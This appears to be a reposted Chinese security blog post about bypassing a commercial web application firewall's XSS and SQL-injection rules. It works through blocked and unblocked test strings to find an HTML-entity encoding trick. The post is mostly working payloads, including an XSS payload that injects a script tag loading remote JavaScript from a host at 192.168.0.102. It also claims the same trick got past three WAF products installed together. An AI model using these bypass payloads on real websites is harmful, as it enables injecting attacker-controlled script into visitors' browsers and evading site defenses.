技术笔记

xss字符过大多waf思路

字号+ 作者:匿名投稿 来源:转载 2017-04-18 08:42 我要评论( )

0x01 实验环境 服务器集成环境: phpStudy 2016 防护软件: 360主机卫士2.0.5.9(最新版) php版本: php-5.4.45 服务器类型: Apache 0x02 防护规则探测 input onf......

0x01 实验环境

服务器集成环境:  phpStudy 2016
防护软件:        360主机卫士2.0.5.9(最新版)
php版本:         php-5.4.45
服务器类型:       Apache
0x02 防护规则探测

<input onfocus="alert()"> 拦截
<input > onfocus="alert()"> 拦截

思考到底是哪一部分触发规则:

onfocus="alert()" 拦截
onfocus="test" 不拦截
alert() 拦截

由上面测试alert()触发了主机卫士xss防护规则

继续测试:
<input onfocus=> 拦截

提前闭合input标签

<input > onfocus=> 不拦截

由以上测试可知:
<input onfocus=>与alert()触发xss防护规则
<input > onfocus=>不触发防护规则
0x03 思考

我们知道html实体编码只能使用在参数位置,我们对非参数位置的>进行html实体编码,那么waf是否会对其进行解码呢:
1.如果waf会对其解码,那么会解析为<input > onfocus=>,由上面测试可知不会触发xss规则
2.如果不对其进行解码则会触发xss规则
0x04 测试想法

<input %26%2362%3B onfocus=> 不拦截

由此可知waf对不该解码的部分进行了解码,因此可通过waf与服务器解析的差异进行绕过
0x05 xss payload

可根据此思路构造出大量payload,在此只写出来了一个为例。
其中http://192.168.0.102:8002/xss.js为远程加载的js脚本
<input %26%2362%3B onfocus="document.body.appendChild(createElement('script')).src='http://192.168.0.102:8002/xss.js'" autofocus> 不拦截
0x06 是因为以上原因导致的绕过吗?

是否是因为其他原因导致的绕过,比如先对%26进行了url解码,又获取的参数值,%26解码后为&,导致%26前面部分作为一个参数,后面部分当做了另一个参数。

测试一下:
<input onfocus> 不拦截
<input onfocus=> 拦截
<input onfocus%26%2361%3B> 拦截

由此可知以上分析正确

使用另一种payload测试发现的一些问题:
payload:
<input onfocus=> 拦截
<input 不拦截
onfocus=> 不拦截
<input&onfocus=> 拦截
<input&xxx=onfocus=> 拦截
firstname=<input &lastname= onfocus%26%2361%3B> 拦截

由这些payload进行测试发现主机卫士直接对url进行的xss规则匹配。
而此站点xss造成原因是获取参数内容进行直接显示

这里就存在一个问题:
站点获取显示的是参数值
主机卫士是用整个url进行匹配规则

思考是否可以利用这个差异构造payload继续bypass ?
然而并没有想到什么好的办法,不过了解这些之后以后很可能会在特殊的情况用上。
0x07 主机卫士是否对所有规则进行实体解码后又进行匹配

1 and 1%26%2361%3B1 不拦截
1 and 1=1 拦截
因此并不是
0x08 测试上面提出的%26url解码与参数截取的先后问题

测试是否对整个url进行规则匹配
1 and %27=%27 拦截
1 and %26=%26 不拦截
由此可见是先进行的url解码,然后又进行参数截取,最后进行的sql注入规则的匹配

继续测试后发现:
and%26select 拦截
and&select 拦截
and 不拦截
select 不拦截
这些测试说明上面的结论是错误的,sql注入仍然是根据而整个url匹配的规则。

other:
最后测试发现在同时装有
360主机卫士(最新版)
安全狗(最新版)
云锁(最新版)
的服务器上成功执行js语句。

实体编码对照表:https://dev.w3.org/html5/html-author/charref


本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/621.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • XSS构造剖析

    XSS构造剖析

    2016-12-19 14:31

  • XSS后门的使用及隐藏

    XSS后门的使用及隐藏

    2016-12-18 14:38

  • XSS Phishing (XSS钓鱼)

    XSS Phishing (XSS钓鱼)

    2016-11-27 16:24

  • XSS常见的钓鱼方式

    XSS常见的钓鱼方式

    2016-11-27 16:18

网友点评
暂时未开启评论功能~